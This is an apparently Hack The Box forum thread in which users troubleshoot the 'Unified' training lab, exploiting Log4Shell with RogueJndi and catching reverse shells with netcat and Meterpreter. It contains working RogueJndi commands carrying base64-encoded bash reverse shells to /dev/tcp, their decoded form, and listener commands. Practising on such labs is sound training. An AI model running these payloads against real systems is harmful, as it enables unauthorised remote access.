Starting Point : Unified : Can't get reverse shell with Netcat or Meterpreter

So I’ve been working on this machine for 2 days now (sad right?) and I can’t seem to figure out what on Earth I’m doing wrong. I’m even using the walkthrough!

I’m at the point where the jndi:ldap command is sent from burpsuite, then RogueJndi is supposed to send the payload if I’m not mistaken. Netcat picks it up but immediately closes the connection. Same with metasploit and meterpreter.

I genuinely don’t even know where to begin with this. I’m using Kali on a Google Cloud server, I’ve upgraded it from a standard deb distro by adding the gpg key and updating the sources.list.

Back to the problem at hand it just seems strange that both netcat and meterpreter can’t keep the connection open. I read somewhere that netcat can’t handle payloads but if that’s true then why would the walkthrough instruct you to use a payload with netcat?

Any advice is appreciated, I feel like a moron. Let me know if there are any outputs you’d like to see:

Net cat
cloz@kalistance:~/Documents/HackTheBox/StartingPoint/Unified$ sudo nc -lvnp 4444
Listening on 4444
Connection received on 44328

[] Started reverse TCP handler on
] Sending stage (175686 bytes) to
[] - Meterpreter session 1 closed. Reason: Died
[-] Meterpreter session 1 is not valid and will be closed
] Sending stage (175686 bytes) to
[-] Meterpreter session 2 is not valid and will be closed
[*] - Meterpreter session 2 closed.

1 Like

when you copy and paste from the example

it will put the {base64, -d} on a third line like this

put the curser in front of {base64, -d} and hit backspace to make it go back to 2 lines. It should look like this



I fixed it, it was in the backspace, for example :

java -jar target/RogueJndi-1.1.jar --command "bash -c {echo,YmFzaCAtYyBiYXNoIC1pID4mL2Rldi90Y3AvMTAuMTAuMTQuMjA2LzQ0MyAwPiYxCg==}|{base64,-d}|{bash,-i}" --hostname "YOUR IP TUN0"

i hv tried everything, i cant figureout whats wrong
my tunnel ip is

utun6: flags=8051<UP,POINTOPOINT,RUNNING,MULTICAST> mtu 1500
	inet --> netmask 0xfffffe00
	inet6 fe80::b2be:83ff:fe02:87b3%utun6 prefixlen 64 scopeid 0x15 
	inet6 dead:beef:2::11ce prefixlen 64 
	nd6 options=201<PERFORMNUD,DAD>

i started server with this

java -jar target/RogueJndi-1.1.jar --command "bash -c {echo,YmFzaCAtYyBiYXNoIC1pID4mL2Rldi90Y3AvMTAuMTAuMTUuMjA4LzQ0NDQgMD4mMQo=}|{base64,-d}|{bash,-i}" --hostname "{}"

base64 decoded string is

bash -c bash -i >&/dev/tcp/ 0>&1

server is working just fine

i sent request like this
still failing to receive request since past few hours